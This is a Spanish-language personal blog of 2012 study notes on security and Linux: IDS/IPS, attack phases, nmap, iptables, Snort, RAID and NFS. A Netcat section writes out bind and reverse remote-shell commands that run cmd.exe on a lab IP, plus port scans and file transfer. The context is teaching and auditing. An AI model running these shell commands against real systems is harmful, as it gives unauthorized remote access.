domingo, 16 de diciembre de 2012

Seguridad Informática: Detección y Prevención de Intrusos



Seguridad y Detección de Intrusos:

Una puerta trasera o backdoor es un programa que permite el acceso al sistema de la computadora esquivando los procedimientos normales de autenticación.  De acuerdo a como trabajan e infectan a otros equipos, existen dos tipos de backdoor.  El primer grupo se asemeja a los troyanos, son manualmente insertados dentro de algún otro software, ejecutados por el software contaminado e infecta al sistema para poder ser instalado permanentemente.  El segundo grupo funciona de manera parecida a un gusano informático ejecutado como un procedimiento de incialización del sistema y normalmente infecta por medio de gusanos que lo llevan como carga.

Un exploit es aquel programa que ataca una vulnerabilidad particular de un sistema operativo.  Los exploits no son necesariamente maliciosos, son normalmente creados por investigadores de seguridad informática para demostrar que existe una vulnerabilidad.  Y por esto son componentes comunes de los programas malware como los gusanos informáticos.

Los rootkit son programas insertados en una computadora después de que algún atacante ha ganando el control de un sistema, generalmente incluyen funciones para ocultar los rastros del ataque, como es borrar los log de entradas o encubrir los procesos del atacante.


Detección y Prevención:  los sistemas de detección de intrusos pueden clasificarse, según su función y comportamiento en: HIDS; Host Based IDS opera en un host para detectar actividad maliciosa en el mismo.  Protege contra un único servidor, pc o host y los NIDS; Network Base IDS opera sobre los flujos de información intercambiados en una red, protege un sistema basado en red.


IPS:  es un dispositivo que ejerce el control de acceso en una red informática para proteger a los sistemas computacionales de ataques y abusos.  Toman decisiones de control de acceso basados en los contenidos del tráfico, en lugar de direcciones IP o puertos.


Auditorías:  las pruebas de caja negra para que sean realmente efectivas deben realizarse sin ningun conocimiento de la infraestructura, garantizando de esta forma que el análisis no tratará de utilizar ningún tipo de información que facilite la tarea de análisis.  El propósito de estas pruebas es que el auditor se comporte como si realmente fuese un atacante de la infraestructura.  En cambio las pruebas de caja blanca como se ha mencionado anteriormente, examinan el sistema desde su interior, por lo tanto es necesario tener un acceso a los sistemas.  Este acceso generalmente se obtiene porque directamente se le proporciona al auditor un acceso al equipo para que pueda realizar una análisis en profundidad de la configuración del sistema, aunque en algunos casos una prueba de caja negra se convierte en caja blanca por haber logrado un acceso al sistema a través de alguna vulnerabilidad del mismo u obtener información que pueda analizarse de esta forma.


Fases de una auditoría:


  • enumeración de redes, topología y protocolos
  • identificación de los sistemas operativos instalados
  • análisis de servicios y aplicaciones
  • detección, comprobación y evaluación de vulnerabiliades
  • medidas especificas de corrección
  • recomendaciones sobre implantación de medidas preventivas.



Seguridad Informática: Políticas, Autenticación y Sondeo


En el ámbito de la seguridad de información las empresas deben considerar como respuesta a incidentes: un plan de recuperación ante incidentes y un plan de continuidad de negocio (BCP), considerando el riesgo o amenaza, factor que no puede ser pasado por alto, ya que se encuentra en toda organización en donde intervienen procesos, personas y tecnología.  Las consecuencias que una organización podría enfrentar son:


  • Desastres naturales
  • problemas técnicos
  • problemas organizacionales (huelgas, leyes aceptadas por el congreso, regulaciones gubernamentales, leyes internacionales)
  • problemas de terceros involucrados en la producción o soporte a un servicio
  • problemas con los proveedores de insumos o subproductos
  • fallas en equipos o maquinaria especializada
  • servicios de soporte a producción o servicio
  • errores humanos


Podemos encontrarnos con organizaciones que no sepan enfrentar dichos desafíos o contratiempos que pueden deteriorar la imagen de la organización y propiedad, satisfacción de sus clientes o usuarios y como consecuencia una pérdida sustancial sobre sus ingresos brutos.  Los beneficios de estar bien preparado para responder satisfactoriamente pueden considerar los siguientes aspectos:  Contar con planes de continuidad de negocio, los cuales podrán ayudar a la organización a operar sus procesos más críticos de negocio durante un período contingente.  Contar con análisis de riesgo e impacto de los componentes que soportan el proceso, identificar los puntos más críticos y vulnerables de los procesos de negocio de la organización, identificar áreas de oportunidad dentro de la organización, como resultado de los análisis y alternativas de operación durante un período contingente, cálculos sobre el costo aproximado de pérdida, al no poder ejecutar un proceso crítico, descripción de la estrategia de continuidad de negocio, informe de medidas para la reducción de riesgos, planes de mitigación y planes de continuidad.

Se necesita de una política que refleje las expectativas de la organización en materia de seguridad a fin de suministrar administración con dirección y soporte.  La política también se puede utilizar como base para el estudio y evaluación en curso.

Las fases de un ataque:

Reconocimiento: recopila toda la información que le sea posible sobre el objetivo

Escaneo: recopilación sobre posibles puertas de acceso, analizará en forma minuciosa a fin de aprender todo lo posible respecto del objetivo, intentando identificar debilidades.

Obtención de acceso:  una vez estudiada la información e identificadas las vulberabilidades, el intruso escogerá y ejecutara el ataque mas conveniente para lograr el acceso.


Mantenimiento de acceso:  el atacante podría intentar conducir una serie de acciones a partir de las cuales le sea posible en caso de ser necesario volver al sistema atacado en forma recurrente.

Borrado de huellas:  dejar el lugar de lo hechos sin rastro, borrando las huellas que lo liguen con la intrusión.


Metodologías de Control de Acceso:

Autenticación basada en posesión:  consiste en tener una tarjeta u objeto inteligente que tenga un microprocesador y memoria que se pueda implementar como una herramienta de autenticación, por ejemplo (códigos de barras, banda magnética, etc.)

Autenticación basada por características físicas:  BIOMETRÍA, el reconocimiento de patrones, la inteligencia artificial y el aprendizaje son utilizados para el desarrollo de sistemas de identificación biométricos.



Control de acceso desentralizado:

Verificación de huellas dactilares:  estos identificadores requieren de unos 1000 bytes, son muy precisos, pero igual existen errores como por ejemplo: posición del dedo, heridas y la calidad de imagen capturada.

Autenticación basada en conocimiento: utilizando un ID y una contraseña.


Herramienta de Redes:

nmap:  es una herramienta de código abierto para la exploración de red y auditoría de seguridad.  Se diseñó para analizar rápidamente redes grandes.  Se usa para evaluar la seguridad de los sistemas informáticos, descubrir servicios en una red, identificar puertos abiertos en un equipo, determinar qué sistema operativo y versión tiene un equipo objetivo.

Opciones:


-A: Sondeo profundo, versión del sistema operativo y servicios que corre.
-sV: Versión de los servicios.
-O: Versión del sistema operativo.
-p: Análisis menos profundo.


D:\nmap-6.01>nmap 33.3.3.0/24 -m scanip.txt (escaneo enviado a un archivo)

D:\nmap-6.01>nmap 33.3.3.128/25 -p 22 (utilización de puerto 22)

D:\nmap-6.01>nmap 33.3.3.207 -A (servicios y sistema operativo)


D:\nmap-6.01>nmap 33.3.3.128/25 -p 80 (utilización de puerto 80)






sábado, 15 de diciembre de 2012

NFS: Network File System


Garantiza la integridad de la información, funciona en red y se utiliza en ambiente de servidores.  


NFS, de las siglas Network File System y en castellano Sistema de Archivos de Red, es un protocolo que viene incluido por defecto en los Sistemas Operativos Unix y la mayoría de distribuciones Linux. Es utilizado para sistemas de archivos distribuido en un entorno de red de computadoras de área local. Posibilita que distintos sistemas conectados a una misma red accedan a ficheros remotos como si se tratara de locales.


Para implementar NFS, 

1.  debemos instalar: "nfs-kernel-server"
2.  editar /etc/exports

ingresando la siguiente línea de comando:

/documentos                       10.20.1.3 (rw, root_squash)


en donde /documentos es el directorio o archivo que queremos compartir, 10.20.1.3 es la máquina permitida y finalmente (rw,root_squash) se refiere a las opciones.





Red Hat Linux: conceptos de instalación y configuración



El programa de instalación Anaconda puede ejecutar instalaciones accediendo a la distribución de Red Hat Linux a través de la red.  Las instalaciones de red pueden ser ejecutadas a través de los protocolos HTTP, FTP o NFS.  El programa de instalación Anaconda proporciona gran cantidad de información adicional y una shell interactiva en varias consolas virtuales.  Si no se detecta ninguna tarjeta de vídeo, Anaconda intentará ejecutar la instalación a través de una terminal conectada utilizando una línea serial.  Existen varios archivos de registro que pueden proporcionar útil información de depurado en máquinas recién instaladas.  Se puede crear un servidor de instalación copiando los tres CDs de instalación y exportando el directorio con los protocolos de red adecuados.

Después del arranque, la inicialización de Red Hat Enterprise Linux se realiza en cuatro etapas: BIOS, un gestor de arranque, el kernel y /sbin/init.  La configuración del BIOS permite especificar una secuencia de dispositivos que se deberían considerar dispositivos de arranque.  Una vez que el BIOS haya seleccionado un dispositivo de arranque, transfiere el control a cualquier ejecutable que se encuentre en el registro de arranque maestro del dispositivo.


BIOS:  sistema operativo mínimo que está localizado en el ROM de la placa madre.

Gestor de arranque:  la aplicación mínima que se carga desde el MBR del disco, se utiliza para cargar y pasar el control al kernel de Linux.

KERNEL:  el Kernel de Linux inicializa las estructuras internas y los controladores de dispositivos, provee un sistema de archivos inicial e inicia el primer proceso.

/sbin/init: este proceso realiza la mayor parte del trabajo duro pertinente a la administración del sistema para iniciar la máquina.


Algunos comandos:


ifconfig: muestra o modifica IP de la máquina

route -n: lista todas las rutas de salida de la máquina en formato numérico

su-: ingresa como usuario root

ls: lista directorios

yum install: puede instalar programa, especificando el nombre de la aplicación para que sea descargada e instalada.

nano: pequeño editor de texto.


Seguridad Informática: iptables - firewall


Firewall se refiere a un dispositivo que filtra el tráfico entre redes.  Puede ser un dispositivo físico o software, sobre un sistema operativo.  Permite establecer reglas de filtrado con las que se decide una conexión determinada puede establecerse o no.  Generalmente se ubica entre una red privada y una pública.

Protección contra:

Acceso no autorizado: ingreso a la red o a un host por parte de personas ajenas.  Evita el acceso a todos excepto a los usuarios deseados.

Denegación de servicio: (DOS) hace que un servicio o equipo deje de funcionar o impide el uso normal de ellos.  Impide que se realicen órdenes y peticiones sospechosas desde afuera.

Suplantación de identidad: (spoofing) un host o aplicación simula las acciones de otro.  Verifica la autenticidad de los datagramas y órdenes.  Evita el encaminamiento de datagramas con direcciones de origen no válidos.

En Linux tenemos un framework disponible llamado Netfilter que permite interceptar y manipular paquetes de red, además usa una herramienta de filtrado de paquetes llamada iptables.  El filtrado de paquetes IP es simplemente un mecanismo que decide qué tipos de paquetes serán procesados normalmente y cuáles serán descartados.  Para realizar este tipo de acciones es necesario considerar los siguientes criterios: 

-  Tipo de protocolo
-  Número de puerto
-  Tipo de paquete
-  Dirección de origen del paquete
-  Dirección de destino del paquete

IPTABLES es un sistema de selección de paquetes, este método de selección de paquetes se utiliza para el filtrado de paquetes (la tabla filter) para la traducción de direcciones de red (tabla nat) y para la manipulación general de paquetes antes del enrutamiento (tabla mangle).

La tabla filter contiene las siguientes cadenas predefinidas y cualquier paquete pasará por una de ellas:

INPUT: cadena de entrada, todos los paquetes destinados al propio sistema atraviesan esta cadena.


OUTPUT: cadena de salida, todos los paquetes creados por el sistema atraviesan esta cadena.

FORWARD:  cadena de redirección, todos los paquetes que pasan por este sistema recorren esta cadena.  Los paquetes que no van dirigidos al propio sistema.



Comandos Básicos en la Configuración en las Tablas de IPTables

iptables –help = Ayuda (Ejemplo: iptables --help)

iptables –A = Crear una Regla (Ejemplo: iptables –t filter –A INPUT –i lo –j ACCEPT)

iptables –D = Eliminar una Regla (Ejemplo: iptables –t filter –D INPUT –i lo –j ACCEPT)

iptables –L = Lista Reglas de dicha tabla (Ejemplo: iptables –t nat -L)

iptables –F = Borra todas las Reglas de dicha tabla (Ejemplo: iptables –t nat -F)

iptables –Z = Borra todos los Contadores de dicha tabla (Ejemplo: iptables –t nat -Z)

iptables –F= Borra todas las reglas de una tabla

iptables -N — Crea una nueva cadena con un nombre especificado por el usuario.

iptables -P — Configura la política por defecto para una cadena en particular de tal forma que cuando los paquetes atravieses la cadena completa sin cumplir ninguna regla, serán enviados a un objetivo en particular, como puedan ser ACCEPT o DROP.

iptables -X — Borra una cadena especificada por el usuario. 

Iptaples –V: ver versión



EJEMPLO:

Acepta todos los paquetes que se originen desde la dirección 192.168.0.125

iptables –A INPUT –s 192.168.0.125 –j ACCEPT



Elimina todos los paquetes que entren:

iptables -A INPUT -j DROP



Permite la salida de paquetes

iptables -A OUTPUT -j ACCEPT













viernes, 14 de diciembre de 2012

RAID: comandos y configuración

RAID 1: Espejo (se utiliza en servidores)

Utilizando Fedora:


CREACIÓN DE RAID 1:

#su - (ingresa como root)

#fdisk -l (listar discos duros)

#mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/sdb /dev/sdc --verbose

#fdisk /dev/md0 (crea particion)

#mkfs.ext4 /dev/md0p1 (formatea partición)

#mount /dev/mdop1 /mnt (monta partición)


CREACIÓN DE VOLÚMENES

#pvcreate /dev/md0 /dev/md1 (marca volumen lógico)

#vgcreate vg0 /dev/md0 /dev/md1 (crea grupo volumen)

#lvcreate -n temporal -L 400M vg0 (donde 400M es el tamaño cuatrocientos megas)

#mkfs.ext3 /dev/vg0/temporal (formato)

#mount /dev/vg0/temporal /mnt (montaje)







Seguridad Informática: Snort



Un sniffer es einformática, un analizador de paquetes es un programa de captura de las tramas de una red de computadorasLos analizadores de paquetes tienen diversos usos, como monitorear redes para detectar y analizar fallos, o para realizar ingeniería inversa en protocolos de red. También es habitual su uso para fines maliciosos, como robar contraseñas, interceptar correos electrónicos, espiar conversaciones de chat, etc.

Es un sniffer de paquetes y un detector de intrusos basado en red. Es un software muy flexible que ofrece capacidades de almacenamiento de sus bitácoras tanto en archivos de texto como en bases de datos abiertas como lo es MySQL. Implementa un motor de detección de ataques y barrido de puertos que permite registrar, alertar y responder ante cualquier anomalía previamente definida. Así mismo existen herramientas de terceros para mostrar informes en tiempo real (ACID) o para convertirlo en un Sistema Detector y Preventor de Intrusos.


Si quieres instalarlo en Fedora debes ingresar el siguiente comando:

# yum install snort -y


Puedes acceder a sus distintos modos de operación a través de los siguientes comandos:


MODO SNIFFER O DUMP:

#snort -v -i ethX (en donde X es el número de la interfaz activa que quieres sniffear)




MODO PACKET LOGGER

#snort -i ethX -l /log (en donde X es el número de la interfaz activa que quieres sniffear)




MODO NIDS

#snort -A console -i ethX -c /etc/snort/snort.conf (/etc/snort/snort.conf ruta del archivo)







jueves, 13 de diciembre de 2012

Seguridad Informática: resumen


Algunos de los factores que contribuyen a un ataque exitoso son la falta de políticas y que no existan planes de concientización.  Los conceptos de Disponibilidad, Integridad y Confidencialidad son conocidos como la triada de la seguridad.  

El cifrado busca proteger la información de escuchas de terceros no autorizados.  La integridad busca proteger la información de modificaciones, repeticiones y duplicación.  La autenticación se refiere a la asociación de privilegios específicos a entidades o usuarios, basándose en su identidad.  Algunos de los ataques pasivos pueden ser Análisis de Tráfico y Obtención del Contenido de los Mensajes, mientras que los ataques activos pueden ser Denegación de servicio y Suplantación de identidad.

El Phishing es un ataque de ingeniería social que consiste en recrear una página web de banco para robar credenciales de acceso. El cifrado es un mecanismo de seguridad que transforma los datos a una forma inteligible.

El factor humano es el eslabón más débil de la seguridad informática.



lunes, 10 de diciembre de 2012

Seguridad Informática: Principios


Una organización básicamente está compuesta de activos importantes que le permiten realizar sus actividades, generar rentabilidad y darle continuidad a sus negocios.  Particularmente la información es un activo que tiene un valor fundamental para la organización y debe ser protegida de un modo adecuado.  Es mejor hablar de seguridad de la información y no de seguridad informática para globalizar el concepto de información, su uso y protección en todas las actividades de la empresa, para así no ser limitada solamente a conceptos relacionados con la informática, teleinformática o automática.

Sin importar la forma que posea la información siempre debe protegerse adecuadamente.  La seguridad de la información debe conformarse de controles, políticas, procedimientos, concientización y entrenamientos que aseguren que todo el mundo tomen las precauciones necesarias para preservar los siguientes tres conceptos que son fundamentales:

Confidencialidad; asegurando que sólo podrán acceder a la información (usarla, leerla o escucharla) las personas autorizadas.

Integridad: asegurar que la información con la que se trabaja sea completa y precisa, poniéndole énfasis en la exactitud tanto en su contenido como en los procesos involucrados en su procesamiento.

Disponibilidad; asegurar que la información estará disponible siempre que cualquier persona autorizada necesite hacer uso de ella.


Técnicas de identificación y autentificación:

En la actualidad cada computador que se adquire en una tienda, viene equipado con alguna forma o mecanismo de control de acceso el cual es provisto por el sistema operativo, partiendo de esta base, siempre existirá un esquema framework sugerido que mejore el nivel de seguridad que exista para un momento determinado, y que tiene un mínimo efecto sobre los costos y el esfuerzo de uso.


Identificación de usuarios: este proceso identifica a una persona, por ejemplo una cédula de identidad para el caso de un país o el user ID para el caso de un computador.

Autenticación de usuarios: proceso que tiene por objeto la confirmación que la persona que se identificó es quien dice ser.

Autorización de usuarios: proceso que determina quién tiene acceso a qué objetos y qué tipo de acceso tiene.

El mejorar u optimizar el enfoque, administración y monitoreo del control de acceso, puede reducir el riesgo de accesos no autorizados.  Por lo tanto, si se mantienen mecanismos de seguridad sobre la información y los datos, ayudan a crear un ámbito de confianza y permiten minimizar errores.

El primer mecanismo de un sistema de control de acceso está diseñado para identificar a un usuario que se encuentra registrado en un determinado sistema.  Esto se realiza mediante un User ID.

El segundo mecanismo de un sistema de control de acceso consiste en la autenticación de un usuario, es decir determinar que un usuario es quien dice ser.  Esto se realiza a través de una contraseña o clave de acceso, un número de identificación personal, una entrada asociativa en la que el sistema autentica al usuario mediante una secuencia de palabras o conceptos asociados que el sistema debe almacenar y una respuesta desafiante, en la que el sistema proporciona una o una serie de preguntas que sólo el usuario identificado puede presumiblemente responder.

El tercer mecanismo de un sistema de control de acceso está diseñado debido a la debilidad inherente que tiene un contraseña.  Su propósito es probar la autenticidad del usuario mediante la utilización de, por ejemplo un tono de voz, huellas dactilares, patrones de retina, ADN, reconocimiento facial, entre otros.


El cuarto mecanismo de un sistema de control de acceso contempla los procesos que aseguran que un usuario permanece autenticado, mediante la re-autenticación.  Esto se puede llevar a cabo mediante procesos automáticos que se "despiertan" según la permanencia del usuario que está interactuando con un determinado sistema.





Seguridad Informática: Netcat


Netcat es una herramienta que permite realizar auditorías de red.  Trabaja directamente en TCP/IP en Windows el comando es: ncat, mientras que en Linux el comando es: nc.

Las opciones que lo acompañan son:


d: Separa a NetCat de la consola y lo deja en modo oculto.
e: programa Asocia un programa al socket que se abra con NetCat.
l:  Pone a NetCat a la escucha de conexiones.
L: Pone a NetCat a la escucha, pero además le indica que cuando se cierre la
conexión abra otra nuevamente.
n: Hace que NetCat no trabaje con nombre de host y solo sea capaz de procesar direcciones IP, evitando el uso de DNS. Esto puede ser útil para chequear el buen funcionamiento de nuestros DNS
o archivo: Sirve para hacer una descarga en hexadecimal de la comunicación que lleva a cabo NetCat.
p: puerto Aquí se especifica el puerto local al cual NetCat se va a pegar.
r: Agrega un factor aleatorio en los puertos especificados.
s: Sirve para pegar a NetCat a una determinada dirección IP.
t: Responde a negociaciones TELNET.
u: Trabaja con el protocolo UDP
v: Modo verboso. Sirve para detallar mas una interacción entre NetCat y algo mas. Se puede agregar otra v mas para detallar mas aun.
z: Se usa para cerrar la conexión una vez que esta se llevo a cabo. Esta opción se usa para el scanneo, evitando que NetCat se pare cuando encuentra un puerto abierto.


Aquí algunas aplicaciones comunes para Netcat:

Escaneo de puertos de una máquina:

nc -v -z ip_equipo_remoto puerto
nc -v -z 192.168.0.2 80

nc -v -z ip_equipo_remoto rango_puertos
nc -v -z 192.168.0.2 1-150

nc -v -z ip_equipo_remoto puertos_definidos
nc -v -z 192.168.0.2 80 8080


Servidor web:

nc -vv -L -p 80 < index.html



Sala de chat:

comando para servidor:
nc -l -p 5000

comando para cliente:
nc 192.168.0.2 5000


Shell remota:

comando para servidor:
nc -l -e cmd.exe -p 5000

comando para cliente:
nc 192.168.0.2 5000


Shell remota inversa:

comando para servidor:
nc -l -p 5000

comando para cliente:
nc 192.168.0.1 5000 -e cmd.exe



Transferencia de archivos:

comando para enviar:
nc -vv -l -p 5000 < /home/archivo.txt

comando para recibir:
nc -vv 192.168.0.2 5000 > archivo.txt


miércoles, 11 de abril de 2012

CCNA3: Ejercicios VLAN


Amigos he aquí algunos ejercicios que les ayudarán a practicar mejor las VLAN.







domingo, 29 de enero de 2012

Script Básico: Contador de Archivos y Directorios

Imagen 01: creación del script


Imagen 02: ejecución del script


Script creado en bash para Red Hat Linux en WMware Player.  Permite contar archivos y directorios pasados por argumento.

Script Básico: CASE


Imagen 01: inicio del script

Imagen 02: final del script


Ejemplo de script creado con el comando "case" que permite crear un menú de opciones para ejecutar otros comandos, tales como: sed, grep, awk, tee.

**El script fue creado en bash bajo ambiente Red Hat Linux Enterprise para VMware Player.


Scripts



El sistema operativo Linux también puede dar sitio a muchos lenguajes de scripting diferentes.  Los más comunes y básicos de éstos son las capacidades de scripting incorporadas del shell.  Un script del shell es un archivo de texto que contiene cualquier cantidad de comandos linux en una lista sucesiva.  Cada comando se ejecuta a su vez exactamente como si se hubiera tipeado  en el prompt de comandos.  Los scripts del shell también pueden contener lógica de programación como sentencias de bucle y condicionales.


Las estructuras de control incluyen las sentencias: if, for, while, until y case.  Ademas las sentencias break y continue trabajan junto a las estructuras del control para alterar el orden de la ejecución de los comandos en un script.





Entradas populares